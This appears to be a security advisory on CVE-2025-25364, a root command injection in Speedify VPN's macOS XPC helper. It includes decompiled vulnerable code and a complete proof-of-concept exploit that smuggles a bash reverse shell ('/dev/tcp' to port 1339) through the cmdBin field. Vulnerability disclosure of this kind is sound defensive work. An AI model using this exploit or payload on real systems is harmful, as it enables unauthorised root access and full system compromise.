SecureLayer7 discovered CVE-2025-25364, which is a critical command injection vulnerability discovered in the me. connectify.SMJobBlessHelper XPC service, a privileged helper tool used by Speedify VPN on macOS.
This service, which runs with elevated (root) privileges, is responsible for performing system-level operations such as managing network settings.
Due to improper input validation of user-controlled fields (cmdPath and cmdBin) within XPC messages, a local attacker can craft malicious input to inject arbitrary commands.
These commands are then executed with root privileges, enabling complete system compromise.
The vulnerability poses a significant risk as it allows an attacker to escalate privileges, execute unauthorized commands, and gain full control over the affected macOS system.
This flaw highlights the importance of rigorous input validation and secure coding practices, especially in privileged components.
The issue has been addressed in Speedify VPN version 15.4.1, which includes a complete rewrite of the helper tool to eliminate the vulnerability.
High-Level Overview
The vulnerability exists because the me. connectify.SMJobBlessHelper service does not properly validate user-controlled input fields within XPC messages.
Specifically, the cmdPath and cmdBin fields are directly used to construct command-line strings without adequate sanitization, leading to a command injection vulnerability.
By crafting a malicious XPC message that manipulates these fields, an attacker can inject arbitrary commands into the service’s command execution flow.
These injected commands are then executed with root privileges, potentially leading to privilege escalation and full system compromise.
The primary risk of this vulnerability is that it allows an attacker to perform any action on the system that requires elevated privileges, including reading or modifying sensitive files, installing malware, or creating backdoors for persistent access.
Because the commands are executed as root, the impact of this vulnerability is critical and could result in the complete compromise of the affected macOS system.
Product and Version Information
CVE ID: CVE-2025-25364
Product: Speedify VPN
Version: 15.0.0
Platform: macOS
Helper Tool Path: /Library/PrivilegedHelperTools/me.connectify.SMJobBlessHelper
Plist Configuration Path: /Library/LaunchDaemons/me.connectify.SMJobBlessHelper.plist
The helper tool, me.connectify.SMJobBlessHelper, is installed as a privileged daemon on macOS through the plist configuration file.
This setup ensures that the service is started with root privileges and listens for XPC messages, allowing it to perform privileged operations for the Speedify VPN application.
Root Cause Analysis
The root cause of this vulnerability is a lack of sanitization and validation of user-controlled data fields within the XPC message and a lack of verifying the connected XPC clients.
Specifically, the cmdPath and cmdBin fields are extracted from the XPC message and directly embedded into command strings without validation.
As a result, an attacker can set these fields to include shell commands, injecting them into the service’s command execution flow.
The code flow leading to the vulnerable condition involves several functions, which we will analyze in detail below:
i. XPC_Connection_Handler_block_invoke (Entry Point for handling XPC Messages)
int _____XPC_Connection_Handler_block_invoke(int arg0, int arg1) {
rbx = arg1;
syslog$DARWIN_EXTSN(0x5, "Received event in helper.");
rax = xpc_get_type(rbx);
if (rax != *__xpc_type_error) {
if (rax != *__xpc_type_dictionary) {
r14 = xpc_dictionary_get_remote_connection(rbx);
xpc_dictionary_set_string(xpc_dictionary_create_reply(rbx), "reply", "Hi there, host application!");
xpc_connection_send_message(r14, rax);
rax = xpc_release(rax);
}
else {
rax = xpc_dictionary_get_string(rbx, "request");
rax = strcmp("runSpeedify", rax);
rdi = rbx;
if (rax != 0x0) {
rax = _handleUnknownMsg(rdi);
}
else {
rax = _handleLaunchSpeedifyMsg(rdi);
}
}
}
return rax;
}
This function is responsible for handling incoming XPC messages.
It checks the type of message received, and if it is a dictionary, it examines the value of the “request” field.
If the “request” field contains the value “runSpeedify,” it invokes the _handleLaunchSpeedifyMsg function to process the request.
However, no validation is performed on the contents of the dictionary fields, such as cmdPath and cmdBin, allowing user-controlled values to proceed unchecked to the next function.
ii. _handleLaunchSpeedifyMsg (Handles "runSpeedify" Request)
int _handleLaunchSpeedifyMsg(int arg0) {
var_28 = **___stack_chk_guard;
r14 = xpc_dictionary_get_string(arg0, "cmdPath");
r15 = xpc_dictionary_get_string(arg0, "cmdBin");
snprintf(&var_430, 0x400, "-d %s", xpc_dictionary_get_string(arg0, "settingsPath"));
syslog$DARWIN_EXTSN(0x5, "Launching %s %s with params %s", r14, r15, &var_430);
_RunSystemCmd(r14, r15, &var_430, *_asl, *_aslMsg);
r14 = xpc_dictionary_get_remote_connection(arg0);
xpc_dictionary_set_string(xpc_dictionary_create_reply(arg0), "reply", "Got it, launching Speedify daemon now!");
xpc_connection_send_message(r14, rax);
xpc_release(rax);
rax = *___stack_chk_guard;
rax = *rax;
if (rax != var_28) {
rax = __stack_chk_fail();
}
return rax;
}
This function retrieves the cmdPath and cmdBin fields from the XPC message dictionary and logs a message indicating that it is launching the specified command with parameters.
It then calls the _RunSystemCmd function with cmdPath, cmdBin, and settingsPath.
Since these fields are derived from user input without validation, an attacker can set them to any arbitrary values, including malicious shell commands.
iii. _RunSystemCmd (Constructs and Executes Command)
int _RunSystemCmd(int arg0, int arg1, int arg2, int arg3, int arg4) {
rbx = arg4;
r14 = arg3;
var_40 = arg2;
r15 = arg1;
r12 = arg0;
var_50 = 0x0;
rax = asprintf(&var_50, "%s/%s", r12, r15);
rcx = var_50;
if (rcx != 0x0) {
var_38 = 0x0;
rax = asprintf(&var_38, "codesign -v -R=\"certificate leaf[subject.CN] = \"%s\" and anchor apple generic\" \"%s\"", "Developer ID Application: Connectify, Inc. (42L9495X72)", rcx); // vulnerable injection point
if (rax != 0xffffffff) {
_Log(var_38, r14, rbx);
if (system(var_38) != 0x0) {
_Log("codesign failed", r14, rbx);
rbx = 0x0;
}
else {
if (var_40 != 0x0) {
var_30 = 0x0;
rdx = r12;
asprintf(&var_30, "cd %s; ./%s %s &>/dev/null &", rdx, r15, r8);
}
else {
var_30 = 0x0;
rdx = r12;
asprintf(&var_30, "cd %s; ./%s & &>/dev/null &", rdx, r15);
}
if (0x0 != 0x0) {
var_48 = 0x0;
rax = asprintf(&var_48, "Trying to run %s", rdx);
syslog$DARWIN_EXTSN(0x5, "Trying to run %s", 0x0);
rdi = var_48;
if (rdi != 0x0) {
_Log(rdi, r14, rbx);
free(var_48);
}
rbx = system(0x0) != 0x0 ? 0x1 : 0x0;
}
else {
rbx = 0x0;
}
}
free(var_38);
}
else {
_Log("Failed to build codesign string", r14, rbx);
rbx = 0x0;
}
free(var_50
);
}
else {
_Log("Failed to build program name", r14, rbx);
rbx = 0x0;
}
rax = rbx;
return rax;
}
The _RunSystemCmd function uses asprintf to construct a command string that includes cmdPath and cmdBin, both of which are directly derived from the XPC message without validation.
Specifically, the following line introduces the command injection vulnerability:
rax = asprintf(&var_38, "codesign -v -R=\"certificate leaf[subject.CN] = \"%s\" and anchor apple generic\" \"%s\"", "Developer ID Application: Connectify, Inc. (42L9495X72)", rcx);
This line embeds user-controlled data into the command string, which is later passed to the system() for execution.
An attacker can set cmdPath or cmdBin to contain additional shell commands, injecting them into the command string and allowing arbitrary command execution with root privileges.
Proof-of-Concept (PoC)
You can find the exploit on GitHub.
The PoC code provided below demonstrates how an attacker can exploit this vulnerability by sending a crafted XPC message to me.connectify.SMJobBlessHelper, resulting in a reverse shell and enabling attackers to execute arbitrary commands with root privileges.:
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
#include <unistd.h>
#include <stdlib.h>
void sendExploitMessage(const char *serviceName) {
NSLog(@"[DEBUG] Connecting to XPC service: %s", serviceName);
xpc_connection_t connection = xpc_connection_create_mach_service(serviceName, NULL, 0);
if (!connection) {
NSLog(@"[ERROR] Failed to create XPC connection.");
return;
}
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_DICTIONARY) {
const char *reply = xpc_dictionary_get_string(event, "reply");
if (reply) {
NSLog(@"[DEBUG] Received reply from service: %s", reply);
}
} else if (type == XPC_TYPE_ERROR) {
NSLog(@"[ERROR] XPC service error.");
}
});
xpc_connection_resume(connection);
NSLog(@"[DEBUG] Connection to XPC service started.");
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "request", "runSpeedify");
xpc_dictionary_set_string(message, "cmdPath", "/tmp");
const char *injectionPayload = "\"; bash -i >& /dev/tcp/127.0.0.1/1339 0>&1; echo \"";
xpc_dictionary_set_string(message, "cmdBin", injectionPayload);
xpc_connection_send_message(connection, message);
xpc_release(message);
xpc_release(connection);
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
const char *serviceName = "me.connectify.SMJobBlessHelper";
sendExploitMessage(serviceName);
}
return 0;
}
The exploitation code connects to the me.connectify.SMJobBlessHelper XPC service and sends a malicious XPC message with a crafted payload in the cmdBin field.
By setting this field to “; bash -i >& /dev/tcp/127.0.0.1/1339 0>&1; echo “, the code injects a reverse shell command, which is then executed by the vulnerable service with root privileges.
This gives the attacker root-level access to the system, exploiting the lack of input validation in the cmdPath and cmdBin fields to achieve arbitrary command execution.
Patch
The CVE assigned to the vulnerability is CVE-2025-25364. On the website the existing version now is 15.4.1 which patched the vulnerability, By re-writing the whole helper tool and not using the XPC api written in C without any verifications.
The command injection vulnerability in the me.connectify.SMJobBlessHelper XPC service within Speedify VPN on macOS is a critical security flaw that allows local attackers to execute arbitrary commands with root privileges.
This vulnerability stems from improper input validation of user-controlled fields (cmdPath and cmdBin) in XPC messages, enabling attackers to inject malicious commands into the system’s execution flow.
The exploitation of this flaw can lead to privilege escalation, complete system compromise, and unauthorized access to sensitive data.
Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates